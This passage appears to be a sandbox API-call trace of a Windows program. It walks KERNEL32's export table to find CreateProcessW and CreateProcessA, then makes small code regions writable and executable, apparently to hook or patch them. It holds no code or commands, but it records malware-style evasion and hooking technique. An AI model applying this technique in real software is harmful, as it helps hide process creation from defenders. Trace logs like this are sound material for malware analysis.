(lpString="NtCreateEvent") returned 13 [0073.283] lstrlenA (lpString="NtCreateEventPair") returned 17 [0073.283] lstrlenA (lpString="NtCreateFile") returned 12 [0073.283] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0073.283] lstrlenA (lpString="NtCreateJobObject") returned 17 [0073.283] lstrlenA (lpString="NtCreateJobSet") returned 14 [0073.283] lstrlenA (lpString="NtCreateKey") returned 11 [0073.283] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0073.283] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0073.283] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0073.283] lstrlenA (lpString="NtCreateMutant") returned 14 [0073.284] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0073.284] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0073.284] lstrlenA (lpString="NtCreatePort") returned 12 [0073.284] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0073.284] lstrlenA (lpString="NtCreateProcess") returned 15 [0073.284] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0073.284] lstrlenA (lpString="NtCreateProfile") returned 15 [0073.284] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0073.284] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0073.284] lstrlenA (lpString="NtCreateSection") returned 15 [0073.289] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x7fefd710000 [0073.289] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0073.289] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242ec70 [0073.289] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessW") returned -1 [0073.291] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="Beep", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessW") returned -1 [0073.292] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessW") returned -1 [0073.293] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessW") returned -1 [0073.294] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateProcessInternalA", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateProcessInternalW", lpString2="CreateProcessW") returned -1 [0073.295] lstrcmpA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0073.295] VirtualProtect (in: lpAddress=0x770e0304, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x23ecd8 | out: lpflOldProtect=0x23ecd8*=0x2) returned 1 [0073.295] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x242ece0 [0073.295] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x242ed00 [0073.295] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ece0 | out: hHeap=0x2030000) returned 1 [0073.295] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ed00 | out: hHeap=0x2030000) returned 1 [0073.295] VirtualProtect (in: lpAddress=0x770dbc00, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x23ecd0 | out: lpflOldProtect=0x23ecd0*=0x20) returned 1 [0073.322] VirtualProtect (in: lpAddress=0x770dbc00, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x23ecd0 | out: lpflOldProtect=0x23ecd0*=0x40) returned 1 [0073.322] VirtualProtect (in: lpAddress=0x770e0304, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x23ecd8 | out: lpflOldProtect=0x23ecd8*=0x40) returned 1 [0073.323] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec70, ReturnLength=0x0) returned 0x0 [0073.323] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0073.323] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242ece0 [0073.323] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessA") returned -1 [0073.323] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="Beep", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessA") returned -1 [0073.324] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ConsoleMenuControl", 